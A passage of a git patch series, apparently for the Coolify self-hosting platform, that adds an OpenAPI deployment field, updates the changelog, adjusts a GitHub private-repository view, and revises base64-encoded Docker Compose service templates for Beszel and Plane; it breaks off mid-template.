22:53:26 +0300 Subject: [PATCH 18/95] feat: add 'is_preserve_repository_enabled' field to openapi specifications for deployment --- openapi.json | 20 ++++++++++++++++++++ openapi.yaml | 16 ++++++++++++++++ 2 files changed, 36 insertions(+) diff --git a/openapi.json b/openapi.json index bd502865a..a9e16ca55 100644 --- a/openapi.json +++ b/openapi.json @@ -407,6 +407,11 @@ "type": "boolean", "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off." + }, + "is_preserve_repository_enabled": { + "type": "boolean", + "default": false, + "description": "Preserve repository during deployment." } }, "type": "object" @@ -852,6 +857,11 @@ "type": "boolean", "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off." + }, + "is_preserve_repository_enabled": { + "type": "boolean", + "default": false, + "description": "Preserve repository during deployment." } }, "type": "object" @@ -1297,6 +1307,11 @@ "type": "boolean", "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off." + }, + "is_preserve_repository_enabled": { + "type": "boolean", + "default": false, + "description": "Preserve repository during deployment." } }, "type": "object" @@ -2704,6 +2719,11 @@ "type": "boolean", "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off." + }, + "is_preserve_repository_enabled": { + "type": "boolean", + "default": false, + "description": "Preserve repository during deployment." } }, "type": "object" diff --git a/openapi.yaml b/openapi.yaml index 11148f43b..79ad73320 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -291,6 +291,10 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' + is_preserve_repository_enabled: + type: boolean + default: false + description: 'Preserve repository during deployment.' type: object responses: '201': @@ -575,6 +579,10 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' + is_preserve_repository_enabled: + type: boolean + default: false + description: 'Preserve repository during deployment.' type: object responses: '201': @@ -859,6 +867,10 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' + is_preserve_repository_enabled: + type: boolean + default: false + description: 'Preserve repository during deployment.' type: object responses: '201': @@ -1741,6 +1753,10 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' + is_preserve_repository_enabled: + type: boolean + default: false + description: 'Preserve repository during deployment.' type: object responses: '200': From 17f5259f3238c269e5aa2c3fde116050967c7675 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 16 Feb 2026 08:32:31 +0000 Subject: [PATCH 19/95] docs: update changelog --- CHANGELOG.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 223fad638..21d6da7cd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4508,6 +4508,12 @@ ### 🐛 Bug Fixes - *(api-docs)* Use proper schema references for environment variable endpoints (#8239) - *(ui)* Fix datalist border color and add repository selection watcher (#8240) - *(server)* Improve IP uniqueness validation with team-specific error messages +- *(jobs)* Initialize status variable in checkHetznerStatus (#8359) +- *(jobs)* Handle queue timeouts gracefully in Horizon (#8360) +- *(push-server-job)* Skip containers with empty service subId (#8361) +- *(database)* Disable proxy on port allocation failure (#8362) +- *(sentry)* Use withScope for SSH retry event tracking (#8363) +- *(api)* Add a newline to openapi.json ### 💼 Other @@ -5599,6 +5605,7 @@ ### 🚜 Refactor - *(api)* Update application create endpoints docs - *(api)* Application urls validation - *(services)* Improve some service slogans +- *(ssh-retry)* Remove Sentry tracking from retry logic ### 📚 Documentation @@ -5743,6 +5750,7 @@ ### 📚 Documentation - *(api)* Improve app endpoint deprecation description - Add Coolify design system reference - Add Coolify design system reference (#8237) +- Update changelog ### ⚡ Performance @@ -6506,6 +6514,11 @@ ### ⚙️ Miscellaneous Tasks - Bump coolify version - Prepare for PR - Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR ### ◀️ Revert From 7c4f8f37a360c50795a154411c12610d370e021a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 17 Feb 2026 11:24:33 +0000 Subject: [PATCH 20/95] docs: update changelog --- CHANGELOG.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 21d6da7cd..026dec470 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4514,6 +4514,9 @@ ### 🐛 Bug Fixes - *(database)* Disable proxy on port allocation failure (#8362) - *(sentry)* Use withScope for SSH retry event tracking (#8363) - *(api)* Add a newline to openapi.json +- *(server)* Improve IP uniqueness validation with team-specific error messages +- *(service)* Glitchtip webdashboard doesn't load +- *(service)* Glitchtip webdashboard doesn't load (#8249) ### 💼 Other @@ -5606,6 +5609,7 @@ ### 🚜 Refactor - *(api)* Application urls validation - *(services)* Improve some service slogans - *(ssh-retry)* Remove Sentry tracking from retry logic +- *(ssh-retry)* Remove Sentry tracking from retry logic ### 📚 Documentation @@ -5751,6 +5755,7 @@ ### 📚 Documentation - Add Coolify design system reference - Add Coolify design system reference (#8237) - Update changelog +- Update changelog ### ⚡ Performance @@ -5789,6 +5794,9 @@ ### 🧪 Testing - Add tests for shared environment variable spacing and resolution - Add comprehensive preview deployment port and path tests - Add comprehensive preview deployment port and path tests (#7677) +- Add Pest browser testing with SQLite :memory: schema +- Add dashboard test and improve browser test coverage +- Migrate to SQLite :memory: and add Pest browser testing (#8364) ### ⚙️ Miscellaneous Tasks @@ -6519,6 +6527,12 @@ ### ⚙️ Miscellaneous Tasks - Prepare for PR - Prepare for PR - Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR ### ◀️ Revert From b71ad865dc2777ef7184d6e02be1db0ca91963ff Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Wed, 25 Feb 2026 11:39:43 +0000 Subject: [PATCH 21/95] feat: refresh private repository if updating --- .../new/github-private-repository.blade.php | 19 ++- templates/service-templates-latest.json | 57 +------- templates/service-templates.json | 57 +------- tests/Feature/GithubPrivateRepositoryTest.php | 126 ++++++++++++++++++ 4 files changed, 145 insertions(+), 114 deletions(-) create mode 100644 tests/Feature/GithubPrivateRepositoryTest.php diff --git a/resources/views/livewire/project/new/github-private-repository.blade.php b/resources/views/livewire/project/new/github-private-repository.blade.php index 129c508a9..27ef6a189 100644 --- a/resources/views/livewire/project/new/github-private-repository.blade.php +++ b/resources/views/livewire/project/new/github-private-repository.blade.php @@ -4,16 +4,27 @@ - @if ($repositories->count() > 0) +
+
Deploy any public or private Git repositories through a GitHub App.
+ @if ($repositories->count() > 0) + -
Deploy any public or private Git repositories through a GitHub App.
+ + + + + + + + + + + @endif @if ($github_apps->count() !== 0)
@if ($current_step === 'github_apps') diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index 832899a70..a9f653460 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -254,7 +254,7 @@ "beszel-agent": { "documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io", "slogan": "Monitoring agent for Beszel", - "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==", + "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfVVJMX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "beszel", "monitoring", @@ -269,7 +269,7 @@ "beszel": { "documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io", "slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.", - "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xNi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gJ0hVQl9VUkw9aHR0cDovL2Jlc3plbDo4MDkwJwogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==", + "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgICAtICdDT05UQUlORVJfREVUQUlMUz0ke0NPTlRBSU5FUl9ERVRBSUxTOi10cnVlfScKICAgICAgLSAnU0hBUkVfQUxMX1NZU1RFTVM9JHtTSEFSRV9BTExfU1lTVEVNUzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9iZXN6ZWwKICAgICAgICAtIGhlYWx0aAogICAgICAgIC0gJy0tdXJsJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA5MCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xOC40JwogICAgbmV0d29ya19tb2RlOiBob3N0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSBIVUJfVVJMPSRTRVJWSUNFX1VSTF9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", "tags": [ "beszel", "monitoring", @@ -3658,27 +3658,6 @@ "minversion": "0.0.0", "port": "80" }, - "plane": { - "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io", - "slogan": "The open source project management tool", - "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgREVCVUc6ICcke0RFQlVHOi0wfScKICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKc2VydmljZXM6CiAgcHJveHk6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtcHJveHk6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1BMQU5FCiAgICAgIC0gJ0FQUF9ET01BSU49JHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LXdvcmtlci5zaAogICAgdm9sdW1lczoKICAgICAgLSAnbG9nc193b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQ